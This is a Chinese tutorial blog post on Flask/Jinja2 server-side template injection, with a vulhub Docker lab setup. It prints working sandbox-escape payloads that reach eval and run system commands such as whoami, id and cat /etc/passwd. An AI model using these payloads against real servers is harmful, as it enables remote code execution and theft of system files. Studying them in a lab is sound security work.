Flask 模板注入漏洞

目录

描述

环境安装flask

原理

沙盒逃逸方式进行命令执行

直接通过GET方式进行命令执行

过程



描述

Flask(也被称为“microframework”) 是一个微型的Python开发的Web框架,基于Werkzeug WSGI工具箱和Jinja2 模板引擎。 Flask使用起来非常简单,应用Extension增加其他功能:ORM、窗体验证工具、文件上传、各种开放式身份验证技术。

环境安装flask

>>> pip3 install Flask

>>> python3 hello.py

#hello.py
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
    return "Hello World!"
if __name__ =="__main__":
    app.run()

原理

Flask 依赖两个外部库: Jinja2 模板引擎和 Werkzeug WSGI 工具集。

  •    在模板环境中注册函数,可访问python中的一些内置函数及其方法;
  •    可利用Python 沙盒环境逃逸绕过注册方式,进而调用python内置对象;

以上就是flask模板注入漏洞的例子,使用template 函数去调用 name 参数;造成注入;

python3 flaskVul.py

http://127.0.0.1:5000/?name={{3*4}}  发现3x4等于12被执行了;使用get的请求方式调用name参数;证明存在漏洞

沙盒中常用的绕过注册的函数

__bases__    #以元组返回一个类直接所继承的类
__mro__      #以元组返回继承关系链
__class__    #返回对象所属的类
__globals__  #以dict返回函数所在模块命名空间中的所有变量
__subclasses__()  #以列表返回类的子类
_builtin_  #内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。

PS:在py3中__builtin__被换成了builtin

沙盒逃逸方式进行命令执行

通过调用eval 函数,执行系统命令读取的方式,whoami

 

for c in [].__class__.__base__.__subclasses__():
    if c.__name__ == 'catch_warnings':
        for b in c.__init__.__globals__.values():
            if b.__class__ == {}.__class__:
                if 'eval' in b.keys():
                    data = b['eval']('__import__("os").popen("whoami").read()')
                    print(data)

更改一下获取的内容 cat /etc/passwd

直接通过GET方式进行命令执行

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

ps -ef

 

过程

搭建docker下的flask的注入漏洞环境,vulhub;

下载vulhub包从github上,找到flask目录ssti下

>>>docker-compose build

>>>docker-compose up -d

发生错误;进行排查

[root@localhost ssti]# systemctl status docker.service   查看状态,发现没起来

启动docker服务

service docker start

设置成自启动

systemctl enable docker.service

继续运行

通过”docker ps指令查看运行状态

进行访问使用payload:

 

 


  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
NAND Flash是一种非易失性存储器件,由于其高速、低功耗、低成本等特点,已经成为现代电子设备中最常用的存储媒介。在使用NAND Flash进行数据存储时,需要使用Flash Translation Layer(FTL)来管理其物理块(PBA)和逻辑块(LBA)之间的映射关系。以下是一个简单的NAND Flash FTL模板,以供参考: ```python class FTL: def __init__(self, n_blocks, block_size, page_size): self.n_blocks = n_blocks # 总物理块数 self.block_size = block_size # 每个物理块的大小 self.page_size = page_size # 每个物理块中的页面大小 self.lba_to_pba = {} # LBA到PBA的映射表 self.free_blocks = set(range(n_blocks)) # 空闲物理块集合 def write(self, lba, data): # 检查是否需要新分配物理块 if lba not in self.lba_to_pba: if not self.free_blocks: raise Exception('Out of space!') pba = self.free_blocks.pop() self.lba_to_pba[lba] = pba pba = self.lba_to_pba[lba] # 写数据到物理块中 # ... def read(self, lba): if lba not in self.lba_to_pba: raise Exception('Block not found!') pba = self.lba_to_pba[lba] # 从物理块中读取数据 # ... def erase(self, lba): if lba not in self.lba_to_pba: raise Exception('Block not found!') pba = self.lba_to_pba[lba] # 擦除物理块 # ... self.free_blocks.add(pba) del self.lba_to_pba[lba] ``` 在这个模板中,我们使用一个字典`lba_to_pba`来记录LBA和PBA之间的映射关系。在写入数据时,如果该LBA没有对应的PBA,则需要从空闲物理块中选择一个新的物理块,并将其分配给该LBA。在读取数据时,我们可以从`lba_to_pba`中查找该LBA对应的PBA,并从该PBA中读取数据。在擦除数据时,我们需要擦除该LBA对应的PBA,并将该PBA重新加入到空闲物理块集合中。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

战神/calmness

你的鼓励是我最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值